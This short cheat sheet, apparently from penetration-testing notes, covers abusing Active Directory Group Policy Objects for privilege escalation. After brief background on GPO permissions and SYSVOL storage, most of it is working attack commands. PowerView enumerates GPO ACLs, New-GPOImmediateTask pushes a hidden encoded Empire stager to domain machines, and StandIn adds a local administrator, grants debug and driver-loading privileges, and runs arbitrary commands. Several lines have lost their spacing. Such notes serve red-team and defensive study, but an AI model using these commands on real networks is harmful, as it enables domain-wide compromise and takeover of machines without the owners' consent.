Creators of a GPO are automatically granted explicit Edit settings, delete, modify security, which manifests as CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner.
GPO Priorization : Organization Unit > Domain > Site > Local
GPO are stored in the DC in \\<domain.dns>\SYSVOL\<domain.dns>\Policies\<GPOName>\, inside two folders User and Machine. If you have the right to edit the GPO you can connect to the DC and replace the files. Planned Tasks are located at Machine\Preferences\ScheduledTasks.
Domain members refresh group policy settings every 90 minutes by default but it can locally be forced with the following command: gpupdate /force.
# Enumerate GPOGet-NetGPO|%{Get-ObjectAcl-ResolveGUIDs -Name $_.Name}# New-GPOImmediateTask to push an Empire stager out to machines via VulnGPONew-GPOImmediateTask -TaskName Debugging -GPODisplayName VulnGPO -CommandArguments '-NoP -NonI -W Hidden -Enc AAAAAAA...' -Force
Abuse GPO with StandIn
# Add a local administratorStandIn.exe--gpo --filter Shards --localadmin user002# Set custom right to a userStandIn.exe--gpo --filter Shards --setuserrights user002 --grant "SeDebugPrivilege,SeLoadDriverPrivilege"# Execute a custom commandStandIn.exe --gpo --filter Shards --tasktype computer --taskname Liber --author "REDHOOK\Administrator" --command "C:\I\do\the\thing.exe" --args "with args"